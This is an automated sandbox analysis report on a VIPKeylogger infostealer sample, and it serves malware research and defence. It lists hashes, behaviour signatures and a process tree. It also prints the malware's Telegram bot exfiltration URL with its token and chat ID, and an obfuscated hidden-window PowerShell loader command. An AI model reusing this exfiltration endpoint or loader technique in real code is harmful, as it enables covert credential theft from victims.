Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-12-2024 02:40

General

  • Target

    4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe

  • Size

    1.0MB

  • MD5

    68ad57514cfb4e1cb4529556dbbc9b73

  • SHA1

    3681d090c965cd8af1c7bffd6fe5427e997daa41

  • SHA256

    4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac

  • SHA512

    f2ef34f8ad5282676bdc3913007d471cc59e1bf20c5371817b3c85a2c24c19983d3c6c2f5e00bb539fc6596a0b02b4a33e59a4391a4165c22e0cbf2edd103f5a

  • SSDEEP

    24576:ENrNYo6GP6fzfqUC1tkth3VwV5k7j5awX300zQUGtZq:U+S6fziUC1wh3VwXgj5aEkHUGtZq

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7268913379:AAGd-tQ4vpps-mce2n9ECDznKp3DeHYACWw/sendMessage?chat_id=7763958191

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe
    "C:\Users\Admin\AppData\Local\Temp\4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2304
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Veges95=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\takelma.Uns';$Makulaturs=$Veges95.SubString(71268,3);.$Makulaturs($Veges95) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:848
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3480

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bvmcyyta.ief.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Unpursuing.Ecc

    Filesize

    290KB

    MD5

    ac443ed3bcda8fd27eab8e4719631588

    SHA1

    6e501a1d2959a2279c67ff2b635950b72c537df8

    SHA256

    050e2941abcf6621568720f75c7d27b1bc7b57f4a2db95dd44701aab68996042

    SHA512

    f4e6440cecee0b5c2197e1f77757501b45cfa1fb14389944b3f775e5611accf946a1d6625e8758592636f26f05f41aed7309de4b6cae22cb1a3b8d18730df69c

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\takelma.Uns

    Filesize

    69KB

    MD5

    5c166ac0df5b33d27a3157ff3484b1d8

    SHA1

    14f38ae3f4ed43ab6f47cad5859e4494408092c5

    SHA256

    c1203a1fc75a7592b8916f61c403ca3eebed1b1d84cd3c7eaa89187ee665229c

    SHA512

    89a6e8a42ac4fc4b8618c3e79300126e49128c238e91f557a573edd7905a8fb35cb601e422b0a55ee74ccbb274e228314cf27741e8b3b70b532d3980328e89b1

  • C:\Users\Admin\AppData\Local\Temp\nsdC12E.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/848-12-0x0000000073C6E000-0x0000000073C6F000-memory.dmp

    Filesize

    4KB

  • memory/848-13-0x0000000002960000-0x0000000002996000-memory.dmp

    Filesize

    216KB

  • memory/848-15-0x0000000005560000-0x0000000005B88000-memory.dmp

    Filesize

    6.2MB

  • memory/848-14-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-16-0x00000000054B0000-0x00000000054D2000-memory.dmp

    Filesize

    136KB

  • memory/848-18-0x0000000005C70000-0x0000000005CD6000-memory.dmp

    Filesize

    408KB

  • memory/848-21-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-17-0x0000000005B90000-0x0000000005BF6000-memory.dmp

    Filesize

    408KB

  • memory/848-29-0x0000000005DE0000-0x0000000006134000-memory.dmp

    Filesize

    3.3MB

  • memory/848-30-0x0000000006270000-0x000000000628E000-memory.dmp

    Filesize

    120KB

  • memory/848-31-0x00000000062C0000-0x000000000630C000-memory.dmp

    Filesize

    304KB

  • memory/848-32-0x0000000007240000-0x00000000072D6000-memory.dmp

    Filesize

    600KB

  • memory/848-33-0x00000000067B0000-0x00000000067CA000-memory.dmp

    Filesize

    104KB

  • memory/848-34-0x0000000006800000-0x0000000006822000-memory.dmp

    Filesize

    136KB

  • memory/848-35-0x00000000078D0000-0x0000000007E74000-memory.dmp

    Filesize

    5.6MB

  • memory/848-37-0x0000000008500000-0x0000000008B7A000-memory.dmp

    Filesize

    6.5MB

  • memory/848-39-0x00000000700F0000-0x000000007013C000-memory.dmp

    Filesize

    304KB

  • memory/848-50-0x00000000076C0000-0x00000000076DE000-memory.dmp

    Filesize

    120KB

  • memory/848-38-0x0000000007680000-0x00000000076B2000-memory.dmp

    Filesize

    200KB

  • memory/848-51-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-49-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-52-0x00000000076F0000-0x0000000007793000-memory.dmp

    Filesize

    652KB

  • memory/848-53-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-54-0x0000000005070000-0x000000000507A000-memory.dmp

    Filesize

    40KB

  • memory/848-55-0x0000000007830000-0x0000000007841000-memory.dmp

    Filesize

    68KB

  • memory/848-56-0x0000000007880000-0x000000000788E000-memory.dmp

    Filesize

    56KB

  • memory/848-59-0x0000000007890000-0x00000000078A4000-memory.dmp

    Filesize

    80KB

  • memory/848-60-0x0000000007FC0000-0x0000000007FDA000-memory.dmp

    Filesize

    104KB

  • memory/848-61-0x00000000078C0000-0x00000000078C8000-memory.dmp

    Filesize

    32KB

  • memory/848-62-0x0000000007FF0000-0x000000000801A000-memory.dmp

    Filesize

    168KB

  • memory/848-63-0x0000000008020000-0x0000000008044000-memory.dmp

    Filesize

    144KB

  • memory/848-64-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-65-0x0000000073C6E000-0x0000000073C6F000-memory.dmp

    Filesize

    4KB

  • memory/848-66-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-67-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-69-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-70-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-71-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-72-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-73-0x0000000008B80000-0x000000000D15B000-memory.dmp

    Filesize

    69.9MB

  • memory/848-74-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-75-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-77-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/848-78-0x0000000073C60000-0x0000000074410000-memory.dmp

    Filesize

    7.7MB

  • memory/3480-91-0x0000000000C00000-0x0000000001E54000-memory.dmp

    Filesize

    18.3MB

  • memory/3480-93-0x0000000000C00000-0x0000000000C4A000-memory.dmp

    Filesize

    296KB

  • memory/3480-92-0x0000000000C00000-0x0000000001E54000-memory.dmp

    Filesize

    18.3MB

  • memory/3480-94-0x00000000240A0000-0x000000002413C000-memory.dmp

    Filesize

    624KB

  • memory/3480-97-0x0000000024CF0000-0x0000000024EB2000-memory.dmp

    Filesize

    1.8MB

  • memory/3480-98-0x0000000024460000-0x00000000244B0000-memory.dmp

    Filesize

    320KB

  • memory/3480-99-0x00000000253F0000-0x000000002591C000-memory.dmp

    Filesize

    5.2MB

  • memory/3480-102-0x0000000024BC0000-0x0000000024C52000-memory.dmp

    Filesize

    584KB

  • memory/3480-103-0x0000000021C20000-0x0000000021C2A000-memory.dmp

    Filesize

    40KB